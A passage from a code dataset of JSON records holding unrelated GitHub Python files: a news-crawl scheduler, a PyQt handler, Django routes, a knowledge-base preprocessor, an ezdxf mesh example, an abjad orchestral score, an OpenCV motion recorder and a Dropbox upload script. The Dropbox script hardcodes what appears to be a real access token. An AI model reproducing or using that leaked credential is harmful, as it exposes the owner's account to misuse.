reactor.stop()\n crawl()\n reactor.run() \n crawler_func()\n\n\n@print_elapsed_time\ndef job_every_time_crawl() :\n start_spider()\n\n# job_every_time_crawl()\nschedule.every().hour.do(job_every_time_crawl)\n\nprint('[Start] scheduler ready')\nwhile True:\n schedule.run_pending()\n time.sleep(1)","repo_name":"Keunyoung-Jung/main-news-analys","sub_path":"newscrawl/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19725903086","text":"import pdb\n\nfrom PyQt5.QtCore import QObject, pyqtSignal, pyqtSlot\n\nfrom modules.MyImage import MyImage\n\n\nclass ProcessHandler(QObject):\n\n finishSignal = pyqtSignal()\n updateSignal = pyqtSignal(int)\n messageSignal = pyqtSignal(str)\n\n def __init__(self):\n super(ProcessHandler, self).__init__()\n\n def setImagePath(self, imagePathes):\n self._imagePathes = imagePathes\n self._imageLists = [\n MyImage(imagePath) for imagePath in self._imagePathes\n ]\n # 已完成的进程数\n self._finishedCount = 0\n # 已开始运行的进程数\n self._pointer = 0\n # 正在运行的进程数\n self._currentCount = 0\n # 需要运行的总进程数\n self._taskCount = len(self._imagePathes)\n # 停止标记\n self._stopFlag = False\n\n def setParams(self, width, height, depth, radius, threads=4):\n self._threads = threads\n for image in self._imageLists:\n image.setParams(width, height, depth, radius)\n image.messageSignal.connect(self.messageSignal.emit)\n return self\n\n def start(self):\n self.updateSignal.emit(0)\n firstCount = min(self._taskCount, self._threads)\n for image in self._imageLists[:firstCount]:\n image.finishSignal.connect(self._update)\n image.start()\n self._currentCount += 1\n self._pointer += 1\n\n def _update(self):\n self._finishedCount += 1\n self._currentCount -= 1\n self.updateSignal.emit(\n int(self._finishedCount / self._taskCount * 100)\n )\n\n if self._currentCount == 0:\n self.finishSignal.emit()\n return\n\n if self._stopFlag and self._currentCount != 0:\n print('Wait Other threads to stop...')\n return\n\n try:\n self._imageLists[self._pointer].finishSignal.connect(self._update)\n self._imageLists[self._pointer].start()\n self._pointer += 1\n self._currentCount += 1\n except IndexError as e:\n print(e)\n\n @pyqtSlot()\n def stop(self):\n self._stopFlag = True\n","repo_name":"cycoe/AdjustImage","sub_path":"modules/ProcessHandler.py","file_name":"ProcessHandler.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39936290079","text":"from django.urls import path\nfrom bilibili import views, tests\n\n\nurlpatterns = [\n path('movielist/', views.movielist),\n path('userlist/', views.userlist),\n path('movielist/movie//', views.movie),\n path('userlist/user/', views.user),\n]","repo_name":"hanna0911/bilibiliSearch-website","sub_path":"源代码/Web工程代码/bilibiliSearch/bilibili/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"12114636967","text":"import os\nimport src.utils.string_utils as string_utils\nimport src.utils.elapsed_timer as Timer\nimport src.utils.files as file\n\n\n\"\"\"\nclean_kb creates 2 file:\n -vertices.csv\n vertex_id\n vertex_text\n -edges.csv\n source_vertex_id\n dest_vertex_id\n edge_type_id\n edge_type_text\n -edge_type\n edge_type_id\n edge_type_text\n\n\"\"\"\n\n\ndef preprocess_kb(cfg):\n groundtruth_path = cfg['preprocessor_swde']['groundtruth_path']\n vertex_output_path = cfg['kb_preprocessor']['output_dir_path'] + 'nodes.csv'\n edge_output_path = cfg['kb_preprocessor']['output_dir_path'] + 'edges.csv'\n edge_type_output_path = cfg['kb_preprocessor']['output_dir_path'] + 'edge_type.csv'\n\n\n if not os.path.exists(os.path.dirname(vertex_output_path)):\n os.makedirs(os.path.dirname(vertex_output_path))\n\n with open(vertex_output_path, 'w', encoding=\"utf8\") as vertex_out_file:\n with open(edge_output_path, 'w', encoding=\"utf8\") as edge_out_file:\n with open(edge_type_output_path, 'w', encoding=\"utf8\") as edge_type_out_file:\n\n # annotation type is edge type (director, writer, ...)\n annotation_types_ids = {}\n curr_annotation_type_id = 0\n\n # used to make id unique\n last_id_used = 0\n\n domains = cfg['preprocessor_swde']['domains']\n\n for domain in domains.keys():\n domain_dir = groundtruth_path + domain\n sites_annotation_files_paths = file.get_files_into_dir(domain_dir, full_path=True)\n\n # get only site selected in config (for that domain)\n site_annotation_files_paths = list(filter(lambda file_path: any(cfg_site in file_path for cfg_site in cfg['preprocessor_swde']['sites']), sites_annotation_files_paths))\n\n main_annotation = domains[domain]\n\n # id_map = {id_in_swde: id_in_kb}\n id_map = {}\n\n for site_annotation_path in site_annotation_files_paths:\n if main_annotation in site_annotation_path: # this is domain main annotation file (exfor movie is title)\n with open(site_annotation_path, 'rU', encoding=\"utf8\") as site_annotation_file:\n site_annotation_file.readline()\n site_annotation_file.readline()\n for in_line in site_annotation_file:\n vertex = in_line.split('\\t')\n\n vertex_swde_id = int(vertex[0])\n if vertex_swde_id not in id_map:\n id_map[vertex_swde_id] = last_id_used\n last_id_used += 1\n vertex_kb_id = id_map[vertex_swde_id]\n\n vertex_text = vertex[2]\n vertex_text_clean = string_utils.clean_string(vertex_text)\n\n vertex_out_file.write('{},\"{}\"\\n'.format(vertex_kb_id, vertex_text_clean))\n\n else: # this is NOT domain main annotation file (ex for movie is diretor)\n # get annotation type (phone, director, ...)\n annotation_type = site_annotation_path.split('-')[-1][:-4]\n\n # get annotation type id\n if annotation_type not in annotation_types_ids:\n annotation_types_ids[annotation_type] = curr_annotation_type_id\n curr_annotation_type_id += 1\n annotation_type_id = annotation_types_ids[annotation_type]\n\n with open(site_annotation_path, 'rU', encoding=\"utf8\") as site_annotation_file:\n site_annotation_file.readline()\n site_annotation_file.readline()\n for in_line in site_annotation_file:\n edge = in_line.split('\\t')\n\n edge_src_swde_id = int(edge[0])\n if edge_src_swde_id not in id_map:\n id_map[edge_src_swde_id] = last_id_used\n last_id_used += 1\n edge_src_kb_id = id_map[edge_src_swde_id]\n\n edge_dst_kb_id = last_id_used\n last_id_used += 1\n\n edge_dst_text = edge[2]\n edge_dst_text_clean = string_utils.clean_string(edge_dst_text)\n\n vertex_out_file.write('{},\"{}\"\\n'.format(edge_dst_kb_id, edge_dst_text_clean))\n edge_out_file.write('{},{},{},\"{}\"\\n'.format(edge_src_kb_id, edge_dst_kb_id, annotation_type_id, annotation_type))\n\n for edge_type_text, edge_type_id in annotation_types_ids.items():\n edge_type_out_file.write('{},\"{}\"\\n'.format(edge_type_id, edge_type_text))","repo_name":"andrea-pustina/Elicio","sub_path":"src/knowledge_base/preprocessors/preprocessor_swde.py","file_name":"preprocessor_swde.py","file_ext":"py","file_size_in_byte":5406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"33126716545","text":"#Write a program that accepts sequence of lines as input and prints the lines after making\n# all characters in the sentence capitalized.\n#Suppose the following input is supplied to the program:\n#Hello world\n#Then, the output should be:\n#HELLO WORLD\n\nword=input(\"enter any words\")\nword=word.upper()\nprint(word)","repo_name":"sudarshan1998/python_assignment_dec22","sub_path":"q_no_3.py","file_name":"q_no_3.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8621039706","text":"import launchpad as lp\nfrom Environment.environment import vehicularNetworkEnv, make_environment_spec\nfrom Agents.MAD5PG.networks import make_default_MAD3PGNetworks\nfrom Agents.MAD5PG.agent import MAD3PGConfig, MultiAgentDistributedDDPG\nfrom Utilities.FileOperator import load_obj\n\ndef main(_):\n \n # task_request_rate=0.3\n # environment_file_name = \"/home/neardws/Documents/Game-Theoretic-Deep-Reinforcement-Learning/Data/different_task_number/task_request_rate_0_3/init_environment_f80db9577b96498d89be3677d49d528e.pkl\" \n # task_request_rate=0.35\n # environment_file_name = \"/home/neardws/Documents/Game-Theoretic-Deep-Reinforcement-Learning/Data/different_task_number/task_request_rate_0_3_5/init_environment_464cc239ae0b43b0a7ff61ac39a171c7.pkl\" \n # task_request_rate=0.4\n environment_file_name = \"/home/neardws/Documents/Game-Theoretic-Deep-Reinforcement-Learning/Data/different_task_number/task_request_rate_0_4/init_environment_6941aa5605e24de3a8e370cfa86dbb0d.pkl\" \n # task_request_rate=0.45\n # environment_file_name = \"/home/neardws/Documents/Game-Theoretic-Deep-Reinforcement-Learning/Data/different_task_number/task_request_rate_0_4_5/init_environment_19d53b92cd9e4e1ea895d1a809848473.pkl\" \n # task_request_rate=0.5\n # environment_file_name = \"/home/neardws/Documents/Game-Theoretic-Deep-Reinforcement-Learning/Data/different_task_number/task_request_rate_0_5/init_environment_524c2333e5474adfaf67b8d6c0fc7fd7.pkl\" \n \n environment = load_obj(environment_file_name)\n \n print(\"environment._for_mad5pg: \", environment._for_mad5pg)\n spec = make_environment_spec(environment)\n\n agent_config = MAD3PGConfig(\n sigma=0.3,\n )\n\n # Create the networks.\n networks = make_default_MAD3PGNetworks(\n action_spec=spec.edge_actions,\n sigma=agent_config.sigma,\n )\n\n agent = MultiAgentDistributedDDPG(\n config=agent_config,\n environment_file_name=environment_file_name,\n environment_spec=spec,\n max_actor_steps=1500000,\n networks=networks,\n num_actors=10,\n )\n\n program = agent.build()\n \n lp.launch(program, launch_type=\"local_mt\", serialize_py_nodes=False)\n ","repo_name":"neardws/Game-Theoretic-Deep-Reinforcement-Learning","sub_path":"Experiment/run_mad5pg.py","file_name":"run_mad5pg.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"53"}
+{"seq_id":"70791019368","text":"import ezdxf\n\n# 8 corner vertices\ncube_vertices = [\n (0, 0, 0),\n (1, 0, 0),\n (1, 1, 0),\n (0, 1, 0),\n (0, 0, 1),\n (1, 0, 1),\n (1, 1, 1),\n (0, 1, 1),\n]\n\n# 6 cube faces\ncube_faces = [\n [0, 3, 2, 1],\n [4, 5, 6, 7],\n [0, 1, 5, 4],\n [1, 2, 6, 5],\n [3, 7, 6, 2],\n [0, 4, 7, 3],\n]\n\npolygon5_vertices = [\n (0, 0, 0),\n (2, 0, 0),\n (2, 2, 0),\n (1, 3, 1),\n (0, 2, 0),\n]\n\npolygon5_face = [\n [0, 1, 2, 3, 4]\n]\n\ndoc = ezdxf.new('R2000')\nmsp = doc.modelspace()\nmesh = msp.add_mesh()\nwith mesh.edit_data() as mesh_data:\n mesh_data.vertices = cube_vertices\n mesh_data.faces = cube_faces\n\nmesh5 = msp.add_mesh()\nwith mesh5.edit_data() as mesh_data:\n mesh_data.vertices = polygon5_vertices\n mesh_data.faces = polygon5_face\n\ndoc.saveas(\"cube_mesh_1.dxf\")\n","repo_name":"DatacloudIntl/dc_ezdxf","sub_path":"examples/entities/mesh_1.py","file_name":"mesh_1.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"7381000863","text":"import dropbox\r\n\r\nclass TransferData (object): \r\n def __init__(self, access_token):\r\n self.access_token = access_token\r\n\r\n def upload_files(self, file_from, file_to):\r\n dbx = dropbox.Dropbox(self.access_token)\r\n f = open (file_from, 'rb')\r\n dbx.files_upload(f.read(), file_to) \r\n\r\ndef main ():\r\n access_token = 'sl.AoK6Wk8ckhFJwvy6Yt12PGIwMbVf7kG0-nwFq1K-OyWQKwkpbRUiIOCQfwr-Ig8ZPQWtNzfY_fZUNlZuXbv127MzmFj14C9Koa0_UZqtRAVVIAt4rzI3LtZWz-XxaTq20oBw4p0'\r\n transferData1 = TransferData(access_token)\r\n file_from = input(\"enter the file name to transfer: \")\r\n file_to = input (\"enter the full path to upload: \")\r\n transferData1.upload_files(file_from, file_to)\r\n print (\"the file has been stored\")\r\n\r\nmain() ","repo_name":"sohanmithinti/cloud-storage","sub_path":"cloudStorage.py","file_name":"cloudStorage.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"41512503718","text":"# -*- encoding: utf-8 -*-\nimport abjad\nfrom calliope import bubbles\nfrom copper import machines\nfrom copper.generations.gen_b import gen_b\nfrom copper import staves\n\n# SHORTCUTS TO AVOID TYPING\nFrag = machines.Fragments\nID = machines.IndexedData\nID1 = machines.ID1\n\nLINES = ID({\n 0:gen_b.Drone0(),\n 1:gen_b.Line1(),\n 2:gen_b.Line2(),\n 3:gen_b.Line3(),\n })\n# ------------------------------------------------------------------------------------------------------------\n# BASE CLASSES AND HELPERS\n\nclass ArrangeB(gen_b.GenB, machines.FragmentLine, machines.PitchedLine):\n unarranged = bubbles.Line(\"R2. * 24\") # TO DO: is this the right length????\n lines = LINES\n # show_data_attr=\"depthwise_index\"\n def update_data(self):\n super().update_data()\n if self.fragments and len(self.segments) > 1:\n self.segments[1].tag(\"mp\")\n self.events[1].untag(\"\\clef bass\")\n\n# ------------------------------------------------------------------------------------------------------------\n# WINDS\n\nclass Picc(ArrangeB):\n pass\n\nclass Flute1(ArrangeB):\n pass\n\nclass Flute2(ArrangeB):\n pass\n\nclass Oboe1(ArrangeB):\n pass\n\nclass Oboe2(ArrangeB):\n fragments = Frag.make(\n *Frag.its(1, (1,10) ),\n )\n fragments.update_by(1,1, tags=(\"mf\",\"English Horn\"))\n fragments.update_by(1,6, duration=0.5)\n fragments.update_by(1,9, duration=3.5)\n fragments.update_by(1,9, tags=[\"to Ob.\"])\n def update_data(self):\n super().update_data()\n machines.AttachmentTagData.span_every(\"(\", self.events[1:10],3)\n\nclass Clarinet1(ArrangeB):\n pass\n \nclass Clarinet2(ArrangeB):\n metrical_durations = ID({\n 9:((3,4),),\n 10:((3,4),),\n 11:((3,4),),\n 13:((2,4),(1,4),),\n }, default=((1,4),)*3, limit=24)\n fragments = Frag.make(\n Frag.it(0, 9, tags=(\"Bass Clarinet\",) ),\n Frag.it(0, 10, ),\n Frag.it(0, 11, ),\n Frag.it(0, 13, before_next=0),\n Frag.it(3, 12, tags=(\"-\",\"mf\") ),\n Frag.it(3, 13, tags=(\".\",\">\") ),\n Frag.it(3, 16, attack_offset=0.75, duration=0.25, tags=\"-\" ),\n Frag.it(3, 17, duration=0.5, tags=\".\" ),\n Frag.it(3, 19, duration=0.5, tags=(\".\",\">\") ),\n Frag.it(3, 22, duration=0.25, attack_offset=0.25, tags=\"(\"), \n Frag.it(3, 23, tags=\")\"), \n Frag.it(3, 24, tags=\".\"), \n Frag.it(3, 25, duration=0.5, tags=(\".\",\">\", \" to Cl.\")), \n )\n fragments.update_by(3,22, attack_offset=0.25)\n def after_music(self, music):\n super().after_music(music)\n bass_clarinet_command = abjad.Markup(\"to Bcl.\", direction=Up)\n abjad.attach(bass_clarinet_command, music[0])\n transpose=12\n\nclass Bassoon1(ArrangeB):\n metrical_durations = ArrangeB.metrical_durations + {\n 14:((1,4),)*3,\n 15:((1,4),)*3,\n 16:((1,4),)*3,\n }\n # show_data_attr=\"original_depthwise_index\"\n fragments = Frag.make(\n *Frag.its(0, (1,7), offset=6),\n *Frag.its(2, (3,7) ), \n # *Frag.its(3, (1,5) ), # Tuba's taking care of this\n Frag.it(3,7, duration=2.75),\n Frag.it(3,12, tags=\"-\"),\n Frag.it(3,13, tags=(\".\",\">\")),\n Frag.it(1,15, duration=0.5, tags=(\".\",\">\")),\n Frag.it(1,16, duration=1.75),\n Frag.it(3, 24, tags=\".\"), \n Frag.it(2, 20, duration=0.5, tags=(\".\",\">\")), \n Frag.it(3, 27, duration=4), \n *Frag.its(0, (21,24) ),\n )\n fragments.update_by(2,3, tags=[\"mf\"])\n fragments.update_by(2,4, duration=0.5)\n # fragments.update_by(2,5, tags=[\"mf\"])\n fragments.update_by(2,6, duration=6.5)\n fragments.update_by(3,4, duration=1)\n def update_data(self):\n super().update_data()\n self.event_by(0,6).untag(\"mp\",\"\\>\").tag(\"~!\")\n machines.AttachmentTagData.span_every(\"(\", self.events[6:10])\n def after_music(self, music, **kwargs):\n super().after_music(music, **kwargs)\n trill = abjad.spannertools.TrillSpanner(pitch=abjad.NamedPitch(\"Bb2\"))\n abjad.attach(trill, music[30:33])\n\nclass Bassoon2(ArrangeB):\n # show_data_attr=\"original_depthwise_index\"\n # line_offset = ID({0:6},default=0,cyclic=False)\n metrical_durations = ArrangeB.metrical_durations + {\n 13:((1,4),)*3,\n 18:((1,4),)*3,\n 19:((2,4),(1,4),),\n 20:((2,4),(1,4),),\n }\n fragments = Frag.make(\n *Frag.its(0, (1,8) ),\n *Frag.its(2, (7,13) ), \n *Frag.its(3, (7,12) ), \n Frag.it(3,13, tags=(\".\",\">\")),\n Frag.it(3,39, tags=(\"Contra Bsn.\", \".\",\">\", \"mf\")),\n Frag.it(3,40, duration=2.5),\n Frag.it(3,46, duration=2),\n Frag.it(3,49, duration=4, tags=(\">\",\" to Bsn.\")),\n # *Frag.its(3, (1,5) ),\n )\n fragments.update_by(2,7, attack_offset=-1)\n fragments.update_by(3,11, duration=0.5, tags=[\"-\", \"to Cbn.\"])\n def update_data(self):\n super().update_data()\n # for Cbsn. octave transposition... TO DO... this is nasty... make this easier\n self.event_by(3,39).pitch += 12\n self.event_by(3,40).pitch += 12\n self.event_by(3,46).pitch += 12\n self.event_by(3,49).pitch += 12\n first_melodic_event = self.event_by(2,7).tag(\"mf\")\n machines.AttachmentTagData.span_every(\"(\", self.events[7:17])\n\n# ------------------------------------------------------------------------------------------------------------\n# BRASS\n\nclass Horn1(ArrangeB):\n fragments = Frag.make(\n *Frag.its(0, (1,4), offset=-3 ),\n *Frag.its(0, (5,8), offset=3),\n Frag.it(0,9, offset=9, tags=[]),\n Frag.it(1,10, tags=[\"(\"] ),\n Frag.it(1,11, tags=(\"mf\",) ),\n Frag.it(1,12, tags=\"\\>\" ),\n Frag.it(1,13, duration=3, tags=(\"p\",\")\") ),\n *Frag.its(0, (17,20), offset=3),\n )\n\n\nclass Horn2(ArrangeB):\n fragments = Frag.make(\n *Frag.its(0, (1,4), offset=6 ),\n *Frag.its(0, (9,12),),\n *Frag.its(0, (13,16), offset=3),\n *Frag.its(0, (21,23),offset=3),\n )\n fragments.update_by(0,22,tags=[\"~!\"])\n\n\nclass Trumpet1(ArrangeB):\n metrical_durations = ArrangeB.metrical_durations + {\n 12:((2,4),(1,4)),\n }\n fragments = Frag.make(\n Frag.it(3,1, duration=2.5, tags=(\"cup mute\",\"p\")),\n )\n\nclass Trumpet2(Trumpet1):\n pass\n\nclass Trombone1(ArrangeB):\n fragments = Frag.make(\n Frag.it(0,13, tags=\"\\<\"),\n Frag.it(2,19, tags=\"mf\"),\n Frag.it(0,17, tags=\"\\<\"),\n Frag.it(2,22, tags=\"mf\"),\n Frag.it(0,21, tags=\"\\<\"),\n Frag.it(2,25, tags=\"mf\"),\n Frag.it(2,26),\n Frag.it(2,27, duration=4),\n )\n\nclass Trombone2(ArrangeB):\n fragments = Frag.make(\n Frag.it(0,15, tags=\"\\<\"),\n Frag.it(2,20, tags=\"mf\"),\n Frag.it(2,21),\n Frag.it(0,19, tags=\"\\<\"),\n Frag.it(2,23, tags=\"mf\"),\n Frag.it(2,24)\n )\n\nclass Tuba(ArrangeB):\n metrical_durations = ArrangeB.metrical_durations + {\n 12:((1,4),)*3,\n 14:((1,4),)*3,\n 17:((1,4),)*3,\n 19:((1,4),)*3,\n 20:((1,4),)*3,\n }\n fragments = Frag.make(\n *Frag.its(3, (1,7)),\n *Frag.its(3, (13,19)),\n *Frag.its(3, (28,34)),\n *Frag.its(3, (40,46)),\n *Frag.its(3, (49,55)),\n *Frag.its(1, (25,28)),\n )\n fragments.update_by(3,1, tags=[\"\\<\"])\n fragments.update_by(3,6, tags=[\">\",\".\",\"mf\"])\n fragments.update_by(3,18, duration=3.25, tags=\">\")\n fragments.update_by(3,33, duration=2.75, tags=\">\")\n fragments.update_by(3,45, duration=1.25, tags=\">\")\n def update_data(self):\n super().update_data()\n machines.AttachmentTagData.span_every(\"(\", self.events[1:])\n\n# ------------------------------------------------------------------------------------------------------------\n# TIMPANI / PERCUSSION / HARP / PIANO\n\nclass Timpani(ArrangeB):\n music = bubbles.Line(r\"\"\"\n d4 \\> r4 r4 | d4 r4 r4 | d4 r4 r4 | d4 r4 r4 | d4 \\pp \\! r4 r4 |\n R2. * 8 |\n c4 \\mp r4 r4 | d4 r4 r4 | \n c4 r4 r4 | d4 r4 r4 | \n c4 r4 r4 | c4 r4 r4 | R2. |\n 4 -> \\mf r8 d8 \\p \\< r4 | \n d4 r8 d8 r4 | d4 r8 d8 r4 | d4 r8 d8 \\mf \\! r4 |\n \"\"\")\n\nclass Perc1(ArrangeB):\n music = bubbles.Line(r\"\"\"\n #8\n r4 c2:32 ~ \\ppp \\< \n c2.:32 \\pp \\! ~\n c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ \n #16\n c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ \n #24\n c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ c2.:32 ~ \n c2:32 \\< ~ c8:32 ~ c8:32 \\mf \\!\n \"\"\")\n\nclass Perc2(ArrangeB):\n music = bubbles.Line(r\"\"\"\n R2.* 7\n c4 \\mp ^ \\markup {\"Sus. Cymbal, tam tam beater\"} r4 r4 | R2. | r4 r4 c4\n R2. * 2 |\n c4 \\mf ^ \\markup {\"Tam tam, l.v.\"} r4 r4 | \n R2. | c4 r4 r4 | R2. * 2 |\n c4 r4 r4 | R2. |\n c4 r4 r4 | R2. * 4\n \"\"\")\n\nclass Vibes(ArrangeB):\n music = bubbles.Line(r\"\"\"\n \\clef bass d4 \\fff -> ^\\markup { \"Marimba\" } r4 r4\n R2. *23\n \"\"\")\n\nclass Harp1(ArrangeB):\n pass\n\nclass Harp2(ArrangeB):\n pass\n\nclass Piano1(ArrangeB):\n pass\n\nclass Piano2(ArrangeB):\n music = bubbles.Line(r\"\"\"\n R2.*16 |\n r4 r4 4 ~ | 2. |\n R2. * 6 |\n \"\"\")\n\n# ------------------------------------------------------------------------------------------------------------\n# STRINGS\n\nclass ViolinI1(ArrangeB):\n pass\n\nclass ViolinI2(ArrangeB):\n pass\n\nclass ViolinII1(ArrangeB):\n pass\n\nclass ViolinII2(ArrangeB):\n pass\n\nclass ViolaArrangeB(ArrangeB):\n # TO DO... shouldn't have to repeat this code... should be able to reuse from StringsArrangeA \n # show_data_attr=None\n # show_data_attr=\"original_depthwise_index\"\n def update_data(self, **kwargs):\n super().update_data(**kwargs)\n if self.fragments:\n for event in self.events[1:]:\n if len(event) > 1:\n event[0].tag(\"pp\", \"\\<\")\n event[1].tag(\"mp\", \">\")\n\nclass Viola1(ViolaArrangeB):\n show_data_attr=\"original_depthwise_index\"\n fragments = Frag.make(\n Frag.it(2, 1, attack_offset=-3, keep_attack=True),\n Frag.it(2, 2),\n Frag.it(2, 6, attack_offset=-2.5, keep_attack=True, before_next=0),\n Frag.it(2, 7),\n Frag.it(1, 6, attack_offset=-4, keep_attack=True, before_next=0),\n )\n def update_data(self, **kwargs):\n super().update_data(**kwargs)\n self.event_by(2,1)[1].tag(\"(\",)\n self.event_by(2,2).tag(\")\")\n\nclass Viola2(Viola1):\n pass\n\n# NOTE... swapped order of inheritance so that Cello1 could override instructions\nclass Cello2(ArrangeB):\n fragments = Frag.make(\n Frag.it(2,13,),\n Frag.it(2,14, tags=[\"(\"]),\n Frag.it(2,15, tags=[\")\"]),\n Frag.it(2,16, ),\n Frag.it(2,17, tags=[\"(\"]),\n Frag.it(2,18, duration=2.5, tags=[\")\"]),\n Frag.it(1,14, tags=[\"(\"]),\n Frag.it(1,15, tags=[\")\"]),\n Frag.it(3, 20, tags=[\"(\"]),\n Frag.it(3, 21, tags=[\")\"]),\n Frag.it(3, 22, duration=2),\n Frag.it(3, 26, tags=[\"(\"]),\n Frag.it(3, 27, tags=[\")\"]),\n *Frag.its(1, (18,24)),\n )\n fragments.update_by(1,20, tags=[\"(\"])\n fragments.update_by(1,21, tags=[\")\"])\n\nclass Cello1(Cello2):\n def update_data(self, **kwargs):\n super().update_data(**kwargs)\n self.events[1].tag(\"\\clef bass\", \"tutti cello div 1\")\n\nclass Bass(ArrangeB):\n metrical_durations = ID({\n }, default=((1,4),)*3, limit=24)\n fragments = Frag.make(\n Frag.it(3,6, tags=[\"mf\",\"pizz.\"]),\n Frag.it(3,13, duration=1),\n Frag.it(3,18,),\n Frag.it(3,24,),\n Frag.it(3,25,),\n Frag.it(3,33,),\n Frag.it(3,39,),\n Frag.it(3,40,),\n Frag.it(3,45,),\n Frag.it(3,46,),\n Frag.it(3,51,),\n )\n transpose=12\n\n# ------------------------------------------------------------------------------------------------------------\n# ALL LINES ASSOCIATED WITH STAVES\n\n# TO DO... this is screwy... isntead, should be able to use introspection to pull classes from this module\ndef get_orchestration_b():\n class OrchestrationB(staves.CopperMusic):\n bubble_default = ArrangeB.unarranged # in case any parts are commented out\n picc = Picc() # TO DO... maybe this should always be piccolo?\n flute1 = Flute1()\n flute2 = Flute2()\n oboe1 = Oboe1()\n oboe2 = Oboe2()\n clarinet1 = Clarinet1()\n clarinet2 = Clarinet2()\n bassoon1 = Bassoon1()\n bassoon2 = Bassoon2()\n horn1 = Horn1()\n horn2 = Horn2()\n trumpet1 = Trumpet1()\n trumpet2 = Trumpet2()\n trombone1 = Trombone1()\n trombone2 = Trombone2()\n tuba = Tuba()\n timpani = Timpani()\n perc1 = Perc1()\n perc2 = Perc2()\n vibes = Vibes()\n harp1 = Harp1()\n harp2 = Harp2()\n piano1 = Piano1()\n piano2 = Piano2()\n violinI1 = ViolinI1()\n violinI2 = ViolinI2()\n violinII1 = ViolinII1()\n violinII2 = ViolinII2()\n viola1 = Viola1()\n viola2 = Viola2()\n cello1 = Cello1()\n cello2 = Cello2()\n bass = Bass()\n # SHORT SCORE\n drone0 = LINES[0].show_data(show_data_attr=\"original_depthwise_index\")\n line1 = LINES[1].show_data(show_data_attr=\"original_depthwise_index\")\n line2 = LINES[2].show_data(show_data_attr=\"original_depthwise_index\")\n line3 = LINES[3].show_data(show_data_attr=\"original_depthwise_index\")\n return OrchestrationB\n\n# -------------------------------------------------------------------------\n# OUTPUT SCORE\n\nbubbles.illustrate_me(__file__, \n lambda: staves.CopperScore( \n get_orchestration_b()(), \n title=\"Copper: B\", \n show_short_score=True, \n hide_empty=True).get_lilypond_file(),\n # as_midi=True\n )\n\n\n","repo_name":"mirrorecho/rwestmusic-copper","sub_path":"copper/generations/gen_b/orchestration_b.py","file_name":"orchestration_b.py","file_ext":"py","file_size_in_byte":13949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"13108322969","text":"# https://www.youtube.com/watch?v=MkcUgPhOlP8&list=PLS1QulWo1RIa7D1O6skqDQ-JZ1GGHKK-K&index=28\nimport cv2\nimport numpy as np\nfrom datetime import datetime\nimport time\nimport argparse\n\n# construct the argument parser and parse the arguments\nparser = argparse.ArgumentParser()\n\n# Do not show image to user\nparser.add_argument(\"--view\", action='store_true',required=False, help=\"supress image to user\")\nparser.add_argument(\"-o\", \"--output_dir\", required=False, help=\"path to output location\")\n# Specify the source is a video\nparser.add_argument(\"-src\", \"--source\", required=False, help=\"path and name to input video\")\n\nargs = parser.parse_args()\n\n# Set data directory path\nDATA_DIR = \"./data/\"\nif args.output_dir:\n DATA_DIR = args.output_dir \nout_filename = f\"{DATA_DIR}contour-{datetime.now()}.avi\"\n\n\n# Is source video specifed use instead of writing a video\nif args.source:\n cap = cv2.VideoCapture(args.source)\nelse: \n cap = cv2.VideoCapture(0)\n cap.set(3, 1280) # width\n cap.set(4, 720) # height\n\n# Find the frame height and width \nframe_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\nframe_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n \n# Set up the output file\nfourcc = cv2.VideoWriter_fourcc(\"X\", \"V\", \"I\", \"D\")\nout = cv2.VideoWriter(out_filename, fourcc, 5.0, (1280, 720))\n\n# Print the frame information and output filename\nprint(f\"Souce: wxh: {frame_width} x {frame_height} \")\nprint(f\"writing: {out_filename}\")\n\n\nwhile cap.isOpened():\n ret, frame1 = cap.read()\n ret, frame2 = cap.read()\n\n # t0 = time.time()\n diff = cv2.absdiff(frame1, frame2)\n gray = cv2.cvtColor(diff, cv2.COLOR_BGR2GRAY)\n blur = cv2.GaussianBlur(gray, (5, 5), 0)\n _, thresh = cv2.threshold(blur, 20, 255, cv2.THRESH_BINARY)\n dilated = cv2.dilate(thresh, None, iterations=3)\n contours, _ = cv2.findContours(dilated, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n # t1 = time.time()\n # print(t1-t0)\n\n for contour in contours:\n (x, y, w, h) = cv2.boundingRect(contour)\n\n if cv2.contourArea(contour) < 900:\n continue\n cv2.rectangle(frame1, (x, y), (x + w, y + h), (0, 255, 0), 2)\n cv2.putText(\n frame1,\n \"Status: {}\".format(\"Movement\"),\n (10, 80),\n cv2.FONT_HERSHEY_SIMPLEX,\n 1,\n (0, 0, 255),\n 3,\n )\n # cv2.drawContours(frame1, contours, -1, (0, 255, 0), 2)\n cv2.putText(\n frame1,\n \"Time: {}\".format(str(datetime.now())),\n (10, 40),\n cv2.FONT_HERSHEY_SIMPLEX,\n 1,\n (0, 0, 255),\n 3,\n )\n image = cv2.resize(frame1, (1280, 720))\n out.write(image)\n if args.view:\n cv2.imshow(\"feed\", frame1)\n\n if cv2.waitKey(40) == 27:\n 